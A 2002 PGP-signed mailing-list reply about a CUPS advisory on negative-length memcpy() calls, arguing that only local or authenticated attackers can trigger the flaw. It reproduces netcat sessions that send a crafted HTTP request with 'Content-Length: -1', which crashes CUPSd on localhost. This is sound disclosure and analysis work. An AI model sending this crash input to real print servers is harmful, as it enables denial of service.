-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > **** ISSUE 4 - Negative Length Memcpy() Calls **** > > Negative length memcpy() calls can lead to a denial of service (DoS) and, > on some platforms, remote root compromise. The following examples > demonstrate these vulnerabilities: > > $ nc -v localhost 631 > localhost [127.0.0.1] 631 (?) open > POST /printers HTTP/1.1 > Host: localhost > Authorization: Basic AAA > Content-Length: -1 I believe this is inaccurate/misleading. A remote attacker cannot cause CUPSd to call memcpy() with a negative value unless he or she is authenticated. An attacker with local access, however, can. More specifically, if the attacker's source IP is 127.0.0.1, then the server can be DOSed/overflowed without authentication. If the attacker's source IP is not 127.0.0.1, then the server will return an error message without parsing the negative 'Content Length' field. Example: [jdog@wonderland jdog]$ nc -v localhost 631 localhost.localdomain [127.0.0.1] 631 (?) open POST /printers HTTP/1.1 Host: localhost Authorization: Basic AAA Content-Length: -1 [jdog@wonderland jdog]$ nc -v localhost 631 localhost.localdomain [127.0.0.1] 631 (?) : Connection refused ... CUPSd has crashed. Now lets see what happens when we use the eth0 IP: [jdog@wonderland jdog]$ nc -v 192.168.x.x 631 192.168.x.x: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.x.x] 631 (?) open POST /printers HTTP/1.1 Host: 192.168.x.x Authorization: Basic AAA Content-Length: -1 HTTP/1.1 403 Forbidden Date: Sat, 21 Dec 2002 19:12:25 GMT Server: CUPS/1.1 Content-Language: C Upgrade: TLS/1.0,HTTP/1.1 Connection: close Content-Type: text/html Content-Length: 150 <HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY><H1>Forbidden</H1> You don't have permission to access the resource on this server.</BODY> </HTML> [jdog@wonderland jdog]$ I'd like to point out that I have _assumed_ that the remote attacker must authenticate in order to exploit this issue--I'm largely unfamiliar with CUPS and I'm pressed for time... Feel free to prove me wrong. So, it doesn't seem like CUPSd is vulnerable to just any random attacker who happens to be passing by. I've tested this against RedHat 8.0's 'cups-1.1.15-10.src.rpm', along with ftp.cups.org's v1.1.14 and v1.1.17. Word. - Joe Testa, Rapid 7, Inc. http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x02B00839 A145 B158 2CA7 00A2 BAE8 4A18 57E5 18E0 02B0 0839 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (Cygwin32) iD8DBQE+BMKtV+UY4AKwCDkRAhcMAJ4uWOCcfDJte9OKrDwz/eJ6g3Hp5wCfbsKU V3w22HtfF1Q/NgZTcdu7XIg= =GIBe -----END PGP SIGNATURE----- (See attached file: cups.txt.asc)
Attachment:
cups.txt.asc
Description: Binary data